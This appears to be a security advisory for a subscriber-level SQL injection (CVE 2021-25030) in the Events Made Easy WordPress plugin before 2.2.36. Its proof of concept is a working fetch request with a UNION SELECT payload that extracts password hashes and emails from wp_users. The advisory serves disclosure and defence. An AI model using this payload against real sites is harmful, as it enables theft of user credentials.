Events Made Easy < 2.2.36 – Subscriber+ SQL Injection | CVE 2021-25030

Description

The plugin does not sanitise and escape the search_text parameter before using it in a SQL statement via the eme_searchmail AJAX action, available to any authenticated users. As a result, users with a role as low as subscriber can call it and perform SQL injection attacks

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"eme_searchmail","search_text": "') union select 1,1,1,1,1,user_pass,user_email,1,1,1,1,1,1,1,1,1,1,1,1 from wp_users -- g"}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));